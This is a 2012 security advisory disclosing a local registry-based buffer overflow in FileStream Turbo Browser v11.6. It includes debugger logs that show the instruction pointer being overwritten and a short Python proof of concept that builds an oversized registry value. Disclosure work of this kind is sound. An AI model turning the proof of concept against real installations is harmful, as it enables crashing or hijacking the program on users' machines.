Document Title: =============== FileStream Turbo Browser v11.6 - Buffer Overflow References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=491 Release Date: ============= 2012-04-10 Vulnerability Laboratory ID (VL-ID): ==================================== 491 Common Vulnerability Scoring System: ==================================== 4.4 Product & Service Introduction: =============================== From editing or optimizing individual or groups of digital photos to managing all your PDF and Office Documents, this multiple award winning software lets you organize, group convert and optimize, create DVD/CD, slideshow, group rename, change file properties, print, compress, upload, download, publish Web sites, plus edit HTML, script, text, RTF, and HEX in its color coded editor. There is no other software that lets you do so much all in one place. This latest new release supports all popular digital camera RAW formats; it also supports burning to Blu-ray and HD-DVD discs. Photo Editing - The new Digital Darkroom feature offers you many essential quick fix photo editing tools from single click red eye removal button, auto-fix buttons, to color adjustment sliders for you to improve your photos in a snap. You, as a photography enthusiast, can now manually change white balance, use fill flash, back lighting, and color cast removal tools along with the original shooting information and histogram to fine tune pictures. This new release continues to let you batch convert, optimize, resize, reduce file size, and print single or groups of photos and images. Manage Documents with a Star - From Acrobat PDF to Office Documents, like Word Processing, Spreadsheet, PowerPoint, it offers you all the essential tools you need to find, view, print, organize, launch and work with them conveniently in one program. Supports internal viewing of 200+ formats. You can mark or tag your frequently used or favorite files with a Star so you can quickly pull them out when you need them. You can also display and reference your file list by Timeline. Organize and Create DVD/CD - The Organize Wizard lets you organize your photos by name, event, time, or location. Most digital cameras list your photos with serial number style names, which is very hard, if not impossible, to figure out which photo is which. With the additional file management tools like group rename, batch print, zip, unzip, and change file properties, you can organize photos and documents on your hard drives and network fast and easy. Burn them onto DVD/CD with Verify to secure backup protection. You can also create your own Slideshow with just a couple clicks. Remote Upload, Download, and Publish - You can upload files and images to and download from servers. You can preview and edit before and after the transfer. It supports Quick Publishing for direct editing files on hosting servers. Color coded HTML, RTF, Text, Script, and Hex Editors - Turbo Browser includes CodeWorks, which is an easy to use, fast and simple HTML and code editor with built-in HTML Helper and side-by side source and Web view. Its friendly assistant helps to make creating and editing code a much easier task. (Copy of the Vendor Homepage: http://www.filestream.com ) Abstract Advisory Information: ============================== A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on FileStream Turbo Browser v11.6 Vulnerability Disclosure Timeline: ================================== 2012-04-04: Vendor Notification 1 2012-04-05: Vendor Notification 2 2012-04-06: Vendor Notification 3 2012-04-11: Public or Non-Public Disclosure Discovery Status: ================= Published Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A Buffer Overflow vulnerability is detected on FileStream Turbo Browser v11.6 (current version). The vulnerability is located in the main executeable turbob.exe. During the start of the application different values are read from the registry: + Name from [HKEY_CURRENT_USER/Software/FileStream/Turbo Browser/Log] + /MyFolder0/, /MyFolder1/ from [HKEY_CURRENT_USER/Software/FileStream\\\\/Turbo Browser/MyRecent Folder List0] When inserting an oversized value to the registry values a buffer overflow is triggered. The victim only needs to start the application. Vulnerable Module(s): [+] Reg-keys: MyFolder0, MyFolder1, Name --- Debugger Logs --- #Disassembly: 7C9132A6 FFD1 CALL ECX 7C9132A8 64:8B25 00000000 MOV ESP,DWORD PTR FS:[0] 7C9132AF 64:8F05 00000000 POP DWORD PTR FS:[0] 7C9132B6 8BE5 MOV ESP,EBP 7C9132B8 5D POP EBP 7C9132B9 C2 1400 RETN 14 7C9132BC 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 7C9132C0 F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6 7C9132C7 B8 01000000 MOV EAX,1 7C9132CC 75 12 JNZ SHORT ntdll.7C9132E0 7C9132CE 8B4C24 08 MOV ECX,DWORD PTR SS:[ESP+8] 7C9132D2 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 7C9132D6 8B41 08 MOV EAX,DWORD PTR DS:[ECX+8] 7C9132D9 8902 MOV DWORD PTR DS:[EDX],EAX 7C9132DB B8 02000000 MOV EAX,2 7C9132E0 C2 1000 RETN 10 #Registers: EAX 00000000 ECX 42424242 EDX 7C9132BC ntdll.7C9132BC EBX 00000000 ESP 0012F700 EBP 0012F720 ESI 00000000 EDI 00000000 EIP 42424242 #Dump: 0012FC44 41 41 41 41 41 41 41 41 AAAAAAAA 0012FC4C 41 41 41 41 41 41 41 41 AAAAAAAA 0012FC54 41 41 41 41 41 41 41 41 AAAAAAAA 0012FC5C 41 41 41 41 42 42 42 42 AAAABBBB 0012FC64 00 43 43 43 43 43 43 43 .CCCCCCC 0012FC6C 43 43 43 43 43 43 43 43 CCCCCCCC 0012FC74 43 43 43 43 43 43 43 43 CCCCCCCC #Stack: 0012F6E8 0012FC5C ASCII AAAABBBB 0012F6EC 00140000 0012F6F0 001F0520 0012F6F4 0012F708 0012F6F8 7C91D80A ntdll.7C91D80A 0012F6FC 7C9601E1 ntdll.7C9601E1 0012F700 7C9132A8 RETURN to ntdll.7C9132A8 0012F704 0012F7E8 0012F708 0012FC5C ASCII AAAABBBB 0012F70C 0012F804 0012F710 0012F7BC 0012F714 0012FC5C Pointer to next SEH record 0012F718 7C9132BC SE handler Picture(s): ../1.png Proof of Concept (PoC): ======================= The vulnerability can be exploited by local attackers. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: FileStream Turbo Browser v11.6 Local Buffer Overflow Vulnerability # Version: 11.6 # Author: Julien Ahrens # Homepage: http://www.inshell.net # Software Link: http://www.filestream.com # Notes: Vulnerable Reg-keys: MyFolder0, MyFolder1, Name # Howto: Import Reg -> Start App file="poc.reg" junk1="\x41" * 268 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="Windows Registry Editor Version 5.00\n\n" poc=poc + "[HKEY_CURRENT_USER\Software\FileStream\Turbo Browser\Log]\n" poc=poc + "\"Name\"=\"" + junk1 + boom + junk2 + "\"" try: print "[*] Creating exploit file...\n"; writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!"; except: print "[!] Error while creating file!"; Security Risk: ============== The security risk of the local buffer overflow vulnerability is estimated as medium(-). Credits & Authors: ================== Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory